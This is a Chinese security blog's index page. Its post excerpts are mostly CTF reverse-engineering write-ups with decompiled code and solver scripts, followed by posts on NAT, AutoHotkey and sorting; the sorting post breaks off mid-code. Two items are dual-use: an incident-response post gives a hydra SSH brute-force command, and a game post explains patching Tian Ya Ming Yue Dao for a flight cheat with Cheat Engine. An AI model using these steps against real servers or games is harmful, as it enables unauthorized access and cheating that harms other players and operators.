首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,546 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,351 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-10-10
【CTF解题】攻防世界逆向篇
Mysterious解题题目难度:2题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{XXX}形式)1.是个带GUI的程序,提示让我们输入正确的密码,才会有flag吧先用IDA看下。2.打开后按F5进入伪代码,然后双击进入WinMian函数内。3.我看过了在这个函数里,相关函数自行百度哦本文章不细讲。4.再进一层,就看到主代码了。int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h] CHAR Text[4]; // [esp+154h] [ebp-20Ch] char v7; // [esp+159h] [ebp-207h] __int16 v8; // [esp+255h] [ebp-10Bh] char v9; // [esp+257h] [ebp-109h] int v10; // [esp+258h] [ebp-108h] CHAR String; // [esp+25Ch] [ebp-104h] char v12; // [esp+25Fh] [ebp-101h] char v13; // [esp+260h] [ebp-100h] char v14; // [esp+261h] [ebp-FFh] memset(&String, 0, 0x104u); v10 = 0; if ( a2 == 16 ) { DestroyWindow(hWnd); PostQuitMessage(0); } else if ( a2 == 273 ) { if ( a3 == 1000 ) { GetDlgItemTextA(hWnd, 1002, &String, 260); strlen(&String); if ( strlen(&String) > 6 ) ExitProcess(0); v10 = atoi(&String) + 1; if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 ) { strcpy(Text, "flag"); memset(&v7, 0, 0xFCu); v8 = 0; v9 = 0; _itoa(v10, &v5, 10); strcat(Text, "{"); strcat(Text, &v5); strcat(Text, "_"); strcat(Text, "Buff3r_0v3rf|0w"); strcat(Text, "}"); MessageBoxA(0, Text, "well done", 0); } SetTimer(hWnd, 1u, 0x3E8u, TimerFunc); } if ( a3 == 1001 ) KillTimer(hWnd, 1u); } return 0; }5.itoa函数的作用是把整数转换成字符串,相当于 v10 给了v5所以等于 123,strcat是字符拼接,所以拼接起来就是了。flag{123_Buff3r_0v3rf|0w}insanity解题题目难度:3题目描述: 菜鸡觉得前面的题目太难了,来个简单的缓一下1.都提示了,肯定不会很难先用记事本看下,搜索flag好家伙直接发现了,还是用IDA看下内部。2.用IDA打开,先看main函数F5进入伪代码,当然你也可以分析反汇编代码。3.直接见flag,提交下看看。flag:9447{This_is_a_flag}Shuffle解题题目难度:21.直接用IDA打开,一般题目都不加壳,能看到main主函数就没壳,题目有说找到字符串在随机化之前,意思就是字符在之前是完整的,之后就会加密打乱什么的。2.说明flag在之前不会加密,运行初始化之后才会加密,我们先进入main函数分析下,看了会那些字符就是了,通过转ASCII拼接就是完整flag,开始写脚本。byte = [ 83, 69, 67, 67, 79, 78, 123, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 116, 104, 101, 32, 83, 69, 67, 67, 79, 78, 32, 50, 48, 49, 52, 32, 67, 84, 70, 33, 125 ] for i in range(len(byte)): print(chr(byte[i]) ,end="")flag:SECCON{Welcome to the SECCON 2014 CTF!}3.直接在IDA转换char也是可以的,自己拼接上就行。simple-unpack解题题目难度:31.题目有说过加壳了,先查壳是个UPX压缩壳,UPX自带脱壳的参数 -d 就是了,先脱个壳先,从信息看到是个64位ELF文件,用64位IDA(废话)。2.脱好壳再查看下,没壳了可以用IDA分析了。3.不用分析了,直接见flag。4.后面用文本查看也可以见flag。Game解题题目难度:31.老规矩查壳,看下木有壳扔IDA分析下。2.其实直接运行按顺序输入1-8的数,就出现flag了,目的似乎达到了,但还是想看下内部逆向下先。3.找到主函数 main,搜索下就好了,再按F5生成伪代码。4.双击进入main_0函数看下。5.找关键,我看过了在这个函数里sub_457AB4()6.再进一层双击进入sub_45E940()函数里,在这里面。7.一直往下翻,可以看到关键进行运算代码段,v2,v58进行两次异或处理 v59,v115 进行异或 再与0x13异或,flag 应该是和v2,v58的字符变量有关。{collapse}{collapse-item label="伪代码"}sub_45A7BE((int)"done!!! the flag is ", v1); v60 = 18; v61 = 64; v62 = 98; v63 = 5; v64 = 2; v65 = 4; v66 = 6; v67 = 3; v68 = 6; v69 = 48; v70 = 49; v71 = 65; v72 = 32; v73 = 12; v74 = 48; v75 = 65; v76 = 31; v77 = 78; v78 = 62; v79 = 32; v80 = 49; v81 = 32; v82 = 1; v83 = 57; v84 = 96; v85 = 3; v86 = 21; v87 = 9; v88 = 4; v89 = 62; v90 = 3; v91 = 5; v92 = 4; v93 = 1; v94 = 2; v95 = 3; v96 = 44; v97 = 65; v98 = 78; v99 = 32; v100 = 16; v101 = 97; v102 = 54; v103 = 16; v104 = 44; v105 = 52; v106 = 32; v107 = 64; v108 = 89; v109 = 45; v110 = 32; v111 = 65; v112 = 15; v113 = 34; v114 = 18; v115 = 16; v116 = 0; v3 = 123; v4 = 32; v5 = 18; v6 = 98; v7 = 119; v8 = 108; v9 = 65; v10 = 41; v11 = 124; v12 = 80; v13 = 125; v14 = 38; v15 = 124; v16 = 111; v17 = 74; v18 = 49; v19 = 83; v20 = 108; v21 = 94; v22 = 108; v23 = 84; v24 = 6; v25 = 96; v26 = 83; v27 = 44; v28 = 121; v29 = 104; v30 = 110; v31 = 32; v32 = 95; v33 = 117; v34 = 101; v35 = 99; v36 = 123; v37 = 127; v38 = 119; v39 = 96; v40 = 48; v41 = 107; v42 = 71; v43 = 92; v44 = 29; v45 = 81; v46 = 107; v47 = 90; v48 = 85; v49 = 64; v50 = 12; v51 = 43; v52 = 76; v53 = 86; v54 = 13; v55 = 114; v56 = 1; v57 = 117; v58 = 126; v59 = 0; for ( i = 0; i < 56; ++i ) { *(&v3 + i) ^= *(&v60 + i); *(&v3 + i) ^= 0x13u; } return sub_45A7BE((int)"%s\n", (unsigned int)&v3); }{/collapse-item}{/collapse}解题代码byte1 = [ 123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0 ] byte2 = [ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65,32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1,57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3,44, 65, 78, 32, 16,97,54,16,44,52,32,64,89, 45,32,65,15,34,18,16,0 ] for i in range(len(byte1)): ch = chr(byte1[i]^byte2[i]^0x13) print(ch,end="")flag:zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}Hello CTF解题题目难度:41.老规矩看下有壳没,没壳直接拖入IDA进行分析。2.运行后是要求输入正确的flag,我们肯定是没有的需要逆向出来,这些提示就是突破的关键,用IDA打开发现是个32位程序,直接进main函数分析。3.按F5进入伪代码,找关键代码做突破口。int __cdecl main(int argc, const char **argv, const char **envp) { int i; // ebx char v4; // al int result; // eax int v6; // [esp+0h] [ebp-70h] int v7; // [esp+0h] [ebp-70h] char Buffer[2]; // [esp+12h] [ebp-5Eh] BYREF char v9[20]; // [esp+14h] [ebp-5Ch] BYREF char v10[32]; // [esp+28h] [ebp-48h] BYREF __int16 v11; // [esp+48h] [ebp-28h] char v12; // [esp+4Ah] [ebp-26h] char v13[36]; // [esp+4Ch] [ebp-24h] BYREF strcpy(v13, "437261636b4d654a757374466f7246756e"); while ( 1 ) { memset(v10, 0, sizeof(v10)); // 对v10进行了初始化 v11 = 0; v12 = 0; sub_40134B(aPleaseInputYou, v6); scanf("%s", v9); if ( strlen(v9) > 0x11 ) break; for ( i = 0; i < 17; ++i ) { v4 = v9[i]; if ( !v4 ) break; sprintf(Buffer, "%x", v4); strcat(v10, Buffer); // 进行了拼接处理 } if ( !strcmp(v10, v13) ) // 进行了字符串比较,如果v10的值等于v13的值会输出Success sub_40134B(aSuccess, v7); else sub_40134B(aWrong, v7); } sub_40134B(aWrong, v7); result = --Stream._cnt; if ( Stream._cnt < 0 ) return _filbuf(&Stream); ++Stream._ptr; return result; }4.v13的值已经在strcpy这里出现了 437261636b4d654a757374466f7246756e,现在只要知道v10是怎么出来的就行,往上开始分析,分析结果:依次取出用户输入字符串的字符,把字符值的 ASCII 码值转成 16 进制的形式拼接到v10中,v10的值等于v13的值,需将字符串v13中的值两个一组,当作16进制的值,换算成ASCII码并转成对应的字符即可,这样就得到了flag,没有多复杂就看做是把 437261636b4d654a757374466f7246756e 转换成字符串。解题代码str1 = "437261636b4d654a757374466f7246756e" gather = "" count = 0 while count < len(str1): gather += chr(int(str1[count:count + 2], 16)) count += 2 print(gather)flag:CrackMeJustForFun动态调试1.ctrl + G 搜索 401000 跳到这个程序起始的代码段上,往下看。2.找到关键提示,正确和错误肯定就在下面了。3.找到了成功的代码段,和错误的代码段。4.好了再往上滑找到这个地址,401065 看到是个判断,我们在这里下断点。crackme解题题目难度:31.老规矩先查壳,有软件自动脱壳的工具,这里我手动脱下壳。2.可以发现用IDA看下什么都没有,main函数也没有只能脱壳在分析了,其实可以让软件运行起来附加内存,也是能看到脱壳后的代码的。ESP定律脱壳1.拖入软件因为有壳,我们不能运行,按F8单步到2下call这个地址上。2.右键ESP寄存器,下个硬件访问断点,下好了按F9运行。3.再按F8运行两次,会跳到这个jump指令指向00401336这个地址上 。4.右键选择分析,从模块中删除分析。5.再右键选择这个脱壳选项。6.开始脱壳然后保存壳就脱了。静态分析1.可以发现这是我脱好壳的程序,能看到main函数了代码也完整了,可以进一步分析了。2.按F5查看伪代码,进入byte_402130这个函数里看下。3.观察while循环可以发现,(&Buf + v4) ^ byte_402130[v4 % 16]),什么和什么异或了进入函就是这些。解题代码str1="this_is_not_flag" byte=[0x12, 4, 8, 0x14, 0x24, 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 0x10, 0x67, 0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12] flag="" for i in range(len(byte)): flag+=chr(byte[i]^ord(str1[i%16])) print(flag)flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}IgniteMe解题题目难度:21.让你输入正确的flag,先用IDA静态分析下。2.PE查壳工具看下有没有壳,看到是.txt并没有,一般我直接拖入IAD分析,查不查壳都一样,C++ 写的目测是易语言。3.百度下就知道是32位的,用32位的IDA打开进行分析。4.找到关键成功的地方,发现判断的对象是sub_4011C0(),如果等于真就成立执行成功的代码,我们可以进sub_4011C0()这个函数内看看,写的是什么逻辑。5.把数组中大写字母转为小写字母,小写字母转为大写字母。然后把数组与0x55异或后+72,然后再与数组byte_4420B0异或,和GONDPHyGjPEKruv{{pj]X@rF进行比较,判断出执行结果为GONDPHyGjPEKruv{{pj]X@rF,如果相同则正确。bytes = [ 13, 19, 23, 17, 2, 1, 32, 29, 12, 2, 25, 47, 23, 43, 36, 31, 30, 22, 9, 15, 21, 39, 19, 38, 10, 47, 30, 26, 45, 12, 34, 4 ] v7 = [] str2 = 'GONDPHyGjPEKruv{{pj]X@rF' band = '' for i in range(24): v7.append(bytes[i] ^ ord(str2[i])) v7[i] = (v7[i] - 72) ^ 0x55 band = band + chr(v7[i]).lower() print("EIS{%s}" % band)flag: EIS{wadx_tdgk_aihc_ihkn_pjlm}lucknum解题题目难度:11.没有后缀的文件,直接用IDA打开看看,加载的时候发现是个64位程序,进入直接F5查看伪代码,直接见flag,解毕!1000Click解题题目难度:1最简单的一个逆向题目,软件运行不破解点1000次也可以获得flag,但这样太不符合我的习惯,逆向不走常规路。方法11.利用cheat engine 修改内存点击次数到999方法21.利用OD根据错误提示找反汇编代码 push压栈 就是flag2.也可以用过IDA进行逆向分析,解毕!
2022年10月10日
412 阅读
0 评论
67 点赞
2022-10-03
【技术分享】Centos 7 应急响应日志
ssh爆破登录首先准备一下要爆破的目标,这里就用centos进行演示,以上是安装ssh服务的过程。hydra -l root -P pass.txt 192.168.213.135 ssh这里爆破下ssh协议目标用户是root,密码就用自己写的字典进行爆破,只是做个演示。系统日志grep "password for root" secure最终我们在检查日志后发现,通过ssh登录的root用户已被进行了密码爆破攻击,要查哪个用户过滤规则就该下比如:passowrd for shadow。web日志...
2022年10月03日
62 阅读
0 评论
4 点赞
2022-10-03
【网络通信】NAT内网穿透原理
NAT知识国内网络环境被称为 “大内网”,原因如下: IPv4地址耗尽: IPv4地址资源已经用尽,无法为每台设备分配独立的公网IP。NAT技术的作用: NAT(网络地址转换)技术通过将内网IP地址转换为公网IP,实现设备访问外网。 路由器充当中介,负责内网到公网的地址和端口映射,从而支持更多设备共享少量公网IP。 内网设备通信需求: PC1和PC2位于同一内网,要访问外网服务器的Web服务,必须通过NAT转换和PAT端口映射。 NAT转换过程: PC2发送的数据到达路由器后,路由器将其内网IP转换为公网IP,并随机分配一个端口号。 路由器在NAT表中记录内网IP与端口的映射关系,从而允许PC2访问公网服务器,服务器返回的数据则通过映射回到内网设备。 NAT的弊端: 通信必须基于连接。一旦连接断开,路由器会释放NAT表中的映射关系。 此时,服务器无法再主动发送数据给PC2,数据包会被路由器判定为无效,从而无法接收,导致只能发起外部访问,不能接收外部主动请求。 部分解决方法: 例如,通过内网映射将公网IP绑定到内网设备,并保持监听状态,能一定程度上解决这个问题,但会带来更多管理复杂性与资源开销。内网穿透原理(简单版)需要中心服务器内网穿透需要一个中心服务器(Server)作为中转站,PC1和PC2先和Server建立连接。互相获取通信信息Server记录PC1和PC2的公网IP和端口信息(假设端口是100)。两台设备通过Server的转发,知道了彼此的IP和端口。直接通信(锥型NAT情况下)PC1直接向PC2的100端口发送连接请求,PC2回应后,两台设备就建立了UDP连接,可以绕过中心服务器直接通信。弊端如果两台设备的通信必须经过Server中转,速度会受限。比如:PC1和PC2带宽都是100M,但Server只有10M,那两者的传输速率最多只有5M。如果能实现直接通信(P2P),效率更高,但需要网络条件支持。简单来说,内网穿透就是用一个中转服务器让两台内网设备先“认识对方”,然后尝试直接通信。如果直接通信不行,就只能依赖中转,速度受限制。
2022年10月03日
115 阅读
0 评论
8 点赞
2022-10-02
【工具分享】AutoHotKey2.0 热键脚本语言
AutoHotkey 简介AutoHotkey 是一款专为 Windows 平台设计的开源脚本语言,其核心功能是通过热键、脚本或宏来自动化重复任务和自定义操作。它能够:创建热键控制键盘、鼠标及游戏操纵杆。自动化任务,如模拟键击、鼠标动作或程序调用。调用系统 API 和其他程序。生成独立的可执行文件(.exe),体积小巧,功能强大。核心功能热键定义:支持组合键(如 Ctrl+Alt+S)和鼠标事件。灵活设置触发条件(如特定左/右键或使用通配符)。自动化补全:自定义快捷输入片段,自动展开为完整代码或文本。逻辑与 API:支持条件判断、循环及调用 Windows API。便捷生成:将脚本打包成 .exe 文件,方便分发和使用。常用符号符号说明#Win 键(Windows 徽标键)。!Alt 键。^Control 键。+Shift 键。&组合按键,触发自定义热键。~保留按键原有功能,同时触发脚本功能。$防止脚本中发送按键触发自身热键。常见示例运行记事本:#n:: Run Notepad return按下 Win+N 即可打开记事本。输入快捷替换:::cmd:: Run cmd return输入 cmd,立即打开命令提示符。邮件快速模板:^!s:: Send Sincerely,{enter}John Smith return按 Ctrl+Alt+S 自动填充邮件签名。自定义片段补全:::pt::print("hello, world!")输入 pt 会自动替换为 print("hello, world!")。使用优势便捷性: 自定义功能灵活,按需修改。高效性: 一键触发,显著提升操作效率。易用性: 语法简洁,适合入门者和进阶用户。学习与扩展中文手册: AutoHotkey 中文文档 提供详细的功能说明和示例。拓展功能: 支持图形化界面设计,深度调用系统功能,满足更多高级需求。AutoHotkey 是一款简单但功能强大的工具,无论是日常任务自动化,还是复杂操作的编程化管理,它都能大幅提高效率,是 Windows 用户不可多得的生产力利器。效果可以生成exe用起来很方便,在任意地方输入关键字,即可实现自定义的功能。工具下载 .link-block { display: flex; align-items: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; transition: none; } .link-block:hover { background-color: #f3f4f6; box-shadow: none; } 🛠️ AutoHotkey 工具合集 包含 AutoHotkey 编译器、官网入口与源码仓库。 Ahk2Exe 源码仓库(GitHub) 🚀 AutoHotkey 官方网站 AutoHotkey 源码仓库(GitHub)
2022年10月02日
65 阅读
0 评论
6 点赞
2022-10-02
【技术分享】QQ空白名透明头像
实现步骤透明头像设置:上传图片时需要借助专门的软件工具(例如透明头像制作工具)。直接通过工具上传透明图片,因为普通上传方式不支持透明效果。工具链接:透明头像工具空白名称设置:复制特定的空白字符:将 ( 这一段内容复制,仅保留中间的空白部分,删除半括号。粘贴到昵称框中后,确保末尾保留一个空格,这是实现空白名称的关键。最终效果:透明头像和空白名称设置成功后,可以看到 QQ 头像处为透明效果,昵称显示为空白。注意事项工具选择: 透明头像的生成依赖于特定工具,使用时需确保来源可靠、安全。空白字符使用: 操作时要精准复制空白字符,防止误删或操作失败。支持版本: 部分 QQ 版本可能对空白名称或透明头像有兼容性问题,可优先选择支持自定义内容的版本。总结通过借助软件工具生成透明头像,并使用空白字符技巧设置空白名称,即可轻松实现 QQ 的个性化展示效果。操作简单,视觉效果独特,非常适合提升个性化账号形象。
2022年10月02日
136 阅读
0 评论
5 点赞
2022-10-01
【每日随记】天涯明月刀无限飞修改思路
官方公告亲爱的少侠,近日我们接到部分少侠举报在馥郁之战、修罗城等场景有使用外挂的情形。对此我们进行了相应的数据核查,发现一批高度疑似使用对应脚本外挂的玩家,对此我们已对其进行不同程度的封号处理。我们欢迎各位少侠继续对于游戏内出现的疑似外挂相关情形进行举报和投诉,在核实后我们将坚决处理。处罚内容将根据具体情形进行判定,包括但不限于封号处罚、个人或者集体收益不同程度追回等等。同时,我们正在对游戏相关机制进行定位修复,尽快从源头上减少类似问题对各位少侠体验的影响。最后,感谢各位少侠为维护天刀游戏环境所做的贡献和支持。然后就封了一些账号,目测是被举报封的。躺着中枪天刀是企鹅的游戏,在9月1号我在B站发布过天刀无限飞天(可自由控制飞行),免费发放并没有盈利,游戏更新了脚本也不会随着游戏更新,可是过了不久就被盗了继续更新,9月30号无限飞天在修罗城,满天飞可想不被重视都难,经过调查我发现有一款叫馥郁的外挂里面,还有我发布的无限飞天功能,才会有后面的事端,我视频评论的人就多了我才注意到,感觉这些东西也没必要做,简单的搞了个功能发个视频图一乐,没必要搞这东西犯了事。1.显示同场他人位置坐标2.技能无CD3.可自由调整人物位置 (飞天)4.自身不可被他人选取和击中像这些功能,实现起来并不难,天刀官方在外挂防护方面还得花点心思。基本了解遇事不决可用 xdbg64、IDA、Cheat Engine 能搞定 90% 依赖本地计算的游戏问题。核心逻辑很简单:游戏数据计算分两种架构,直接决定了外挂能不能成。像 LOL 这类靠实时传输的游戏,核心数值(伤害、血量、段位)全由服务器权威计算,客户端只负责显示和提交操作,本地改内存、改数据毫无意义,服务器会直接校验覆盖,甚至封号;但老游戏不一样,比如 CF 这类早期作品,受限于引擎设计,大量核心逻辑(伤害判定、技能 CD、道具数量)都放在本地计算,仅把结果同步给服务器,也正因为这种架构漏洞,才滋生了各种变态数值挂。剩下 10% 得靠封包操作,但现在主流网游的数据包基本都是加密传输,不是明文,想解密的成本极高,基本不现实。能做的大多是模拟合法发包,本质就是脚本类工具,模拟玩家正常操作,算不上 “变态外挂”,对游戏平衡的破坏有限,但仍影响体验。写这篇不是想纠结技术细节,天刀曾经也是我很喜欢的游戏,希望官方能快点修复相关漏洞,守住游戏公平。实现步骤1.选择游戏进程,可以看到进程是有图标的,一般的CE是没图标的,要把CE提权到SYSTEM最高权限才会有图标,权限越大能做的事就越多。2.实现无限飞天肯定要从人物坐标,或者人物跳跃入手一开始我们并不知道跳跃的值,肯定先模糊搜索一遍,"跳跃搜增加落地搜减少,不跳搜未变动重复过滤到数量没有变化为止就可以开始分析了"。3.锁住这个数值可以发现跳不起来了,这个并不是我们要的值它可能跟跳跃状态有关,浏览下这个地址的内存找会变得数值,也可以在这地址上加上184就找到了下落地址。4.设置内存单浮点显示,然后人物跳跃观察内存找一个跳起来的值,跳起来是负数落地是0的数值,找到锁定它会发现人物下降速度会变慢。5.锁定了既然会变得缓慢降落,直接hook掉改写的代码就完事。6.尝试跳几下,在改写视图里会有显示,倒数第二个就是下降改下的代码段了,浏览反汇编看看。7.可以在反汇编窗口向上翻,找到jne这个判断,这里我直接从这个地址减214直接跳到关键代码上。8.把jne改je 或者直接nop 即可实现无限飞天效果,由于是静态地址不需要找偏移直接可以用了。视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/2271645516.mp4"/}其他效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/2431621719.mp4"/}已提交修复
2022年10月01日
2,816 阅读
0 评论
953 点赞
2022-09-30
【技术分享】十大排序算法篇
排序算法分类非线性时间比较类排序:比较来绝定元素间的相对次序,时间复杂度不能突破O(nlogn)。所以称非线性时间比较类排序。线性时间非比较类排序:不通过比较来决定元素间的相对次序。可以突破基于比较排序的时间下界以线性时间运行,所以称为线性时间非比较类排序。排序算法概述常见的有 快速排序、归并排序、堆排序以及冒泡排序 都属于比较类排序算法。比较类排序是通过比较来决定元素间的相对次序,时间复杂度不能突破 O(nlogn),因此也称为非线性时间比较类排序。在冒泡排序之类的排序中,问题规模为 n,又因为需要比较 n 次,所以平均时间复杂度为 O(n²)。在归并排序、快速排序之类的排序中,问题规模通过分治法消减为 logn 次,所以时间复杂度平均 O(nlogn)。比较类排序的优势是,适用于各种规模的数据,也不在乎数据的分布,都能进行排序。可以说,比较排序适用于一切需要排序的情况。计数排序、基数排序、桶排序 则属于非比较类排序算法。非比较排序不通过比较来决定元素间的相对次序,而是通过确定每个元素之前,应该有多少个元素来排序。由于它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。非比较排序只要确定每个元素之前的已有的元素个数即可,所有一次遍历即可解决。算法时间复杂度 O(n)。冒泡排序 (Bubble Sort)冒泡排序是一种简单的排序算法算法原理:重复地遍历待排序的序列,依次比较两个元素,如果它们的顺序错误就把它们交换过来。遍历序列的工作是重复地进行直到没有再需要交换为止,此时说明该序列已经排序完成。# 第一种 def Bubble_sort(nums): for j in range(len(nums)-1,0,-1): for i in range(j): if nums[i] > nums[i + 1]: nums[i], nums[i+1] = nums[i +1], nums[i] array = [5,9,1,3,0,7,6] Bubble_sort(array) print(array) # 第二种 array = [3,2,5,6,4,8] for i in range(0, len(array)-1): for j in range(0, len(array)-1): if array[j] > array[j+1]: array[j], array[j+1] = array[j+1], array[j] print(array) # 第三种 array = [3,2,5,6,4,8] res = [ array.pop(array.index(min(array))) for i in range(len(array)) ] print(res)快速排序(Quick Sort)算法原理:快速排序使用分治法(Divide and conquer)策略来把一个序列分为较小和较大的 2 个子序列,然后递回地排序两个子序列。def partition(li,left,right): tmp = li[left] while left < right: while left < right and li[right] >= tmp: #从右边找比tmp小的数 right -= 1 #继续从右往左查找 li[left] = li[right] #把右边的值写到左边空位上 while left < right and li[left] <= tmp: left += 1 li[right] = li[left] #把左边的值写到右边空位上 li[left] = tmp #把tmp归位 return left def quick_sort(li,left,right): if left < right :#至少两个元素 mid = partition(li,left,right) quick_sort(li,left,mid-1) quick_sort(li,mid+1,right) li = [5,7,4,6,3,1,2,9,8] quick_sort(li,0,len(li)-1) print(li)选择排序(Selection Sort)算法原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。重复第 2 步,直到所有元素均排序完毕。def selection_sort(num_list): length = len(num_list) if length <= 1: return num_list for j in range(length): # 假设第一个元素为最小元素 min_num_index = j # 遍历未排序区域元素,以此和未排序区域的第一个元素做对比 for i in range(j+1, length): if num_list[i] < num_list[min_num_index]: min_num_index = i # 交换位置 num_list[min_num_index], num_list[j] = num_list[j], num_list[min_num_index] return num_list array = [1, 3, 2, 6, 4, 12, 33, 5, 25] print(selection_sort(array))插入排序(Insertion Sort)算法原理:从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到下一位置;重复步骤 3,直到找到已排序的元素小于或者等于新元素的位置;将新元素插入到该位置后;重复步骤 2~5。def insert_sort(tg): for i in range(1, len(tg)): for j in range(i, 0, -1): if tg[j] < tg[j-1]: tg[j-1], tg[j] = tg[j], tg[j-1] else: break array = [8,7,5,4,6,3,1] insert_sort(array) print(array)归并排序(Merge Sort)算法原理:如果输入内只有一个元素,则直接返回,否则将长度为 n 的输入序列分成两个长度为 n/2 的子列;分别对这两个子序列进行归并排序,使子序列变为有序状态;设定两个指针,分别指向两个已经排序子序列的起始位置;比较两个指针所指向的元素,选择相对小的元素放入到合并空间(用于存放排序结果),并移动指针到下一位置;重复步骤 3 ~4 直到某一指针达到序列尾;将另一序列剩下的所有元素直接复制到合并序列尾def merge(left, right): # 合并两个有序列表 res = [] while len(left) > 0 and len(right) > 0: if left[0] < right[0]: res.append(left.pop(0)) else: res.append(right.pop(0)) if left: res.extend(left) if right: res.extend(right) return res def mergeSort(arr): # 归并函数 n = len(arr) if n < 2: return arr middle = n // 2 left = arr[:middle] # 取序列左边部分 right = arr[middle:]# 取序列右边部分 # 对左边部分序列递归调用归并函数 left_sort = mergeSort(left) # 对右边部分序列递归调用归并函数 right_sort = mergeSort(right) # return merge(left_sort, right_sort) array = [8,7,5,4,6,3,1] print(mergeSort(array))计数排序(Counting Sort)算法原理:找出数组中的最大值 max、最小值 min;创建一个新数组 C,其长度是 max-min+1,其元素默认值都为 0;遍历原数组 A 中的元素 A[i],以 A[i]-min 作为 C 数组的索引,以 A[i] 的值在 A 中元素出现次数作为 C[A[i]-min] 的值;对 C 数组变形,新元素的值是该元素与前一个元素值的和,即当 i>1 时 C[i] = C[i] + C[i-1];创建结果数组 R,长度和原始数组一样。从后向前遍历原始数组 A 中的元素 A[i],使用 A[i] 减去最小值 min 作为索引,在计数数组C 中找到对应的值 C[A[i]-min],C[A[i]-min]-1 就是 A[i] 在结果数组 R 中的位置,做完上述这些操作,将 count[A[i]-min] 减小 1。def count_sort(nums): # 最大值-最小值+1的数组,初始值为0 bucket = [0] * (max(nums) - min(nums) + 1) # 统计原数组中每个元素出现的个数,存储在新开辟的数组中 for num in nums: bucket[num - min(nums)] += 1 # nums的下标 i = 0 # 根据每个元素出现的次数,按照新开辟数组的元素从小到大依次填充到原来的数组中 for j in range(len(bucket)): while bucket[j] > 0: nums[i] = j + min(nums) bucket[j] -= 1 i += 1 return nums array = [8,7,5,4,6,3,1] print(count_sort(array))桶排序(Bucket Sort)设置一个 BucketSize,作为每个桶所能放置多少个不同数值;遍历输入数据,并且把数据依次映射到对应的桶里去;对每个非空的桶进行排序,可以使用其它排序方法,也可以递归使用桶排序;从非空桶里把排好序的数据拼接起来。def bucketSort(nums): # 选择一个最大的数 max_num = max(nums) # 创建一个元素全是0的列表, 当做桶 bucket = [0] * (max_num + 1) # 把所有元素放入桶中, 即把对应元素个数加一 for i in nums: bucket[i] += 1 # 存储排序好的元素 sort_nums = [] # 取出桶中的元素 for j in range(len(bucket)): if bucket[j] != 0: for y in range(bucket[j]): sort_nums.append(j) return sort_nums array = [8,7,5,4,6,3,1] print(bucketSort(array))基数排序(Radix Sort)算法原理:取得数组中的最大数,并取得位数,即为迭代次数 N(例如:数组中最大数值为 1000,则 N=4);A 为原始数组,从最低位开始取每个位组成 radix 数组;对 radix 进行计数排序(利用计数排序适用于小范围数的特点);将 radix 依次赋值给原数组;重复 2~4 步骤 N 次def radix_sort(s): i = 0 # 记录当前正在排拿一位,最低位为1 max_num = max(s) # 最大值 j = len(str(max_num)) # 记录最大值的位数 while i < j: bucket_list =[[] for _ in range(10)] #初始化桶数组 for x in s: bucket_list[int(x / (10**i)) % 10].append(x) # 找到位置放入桶数组 s.clear() for x in bucket_list: # 放回原序列 for y in x: s.append(y) i += 1 array = [8,7,5,4,6,3,1] radix_sort(array) print(array)希尔排序(Shell Sort)算法原理:选择一个增量序列 {t1, t2, …, tk},其中 (ti>tj, i<j, tk=1);按增量序列个数 k,对序列进行 k 趟排序;每趟排序,根据对应的增量 t,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。def ShellSort(nums): step = len(nums)//2 #初始化增量为数组长度的一半 while 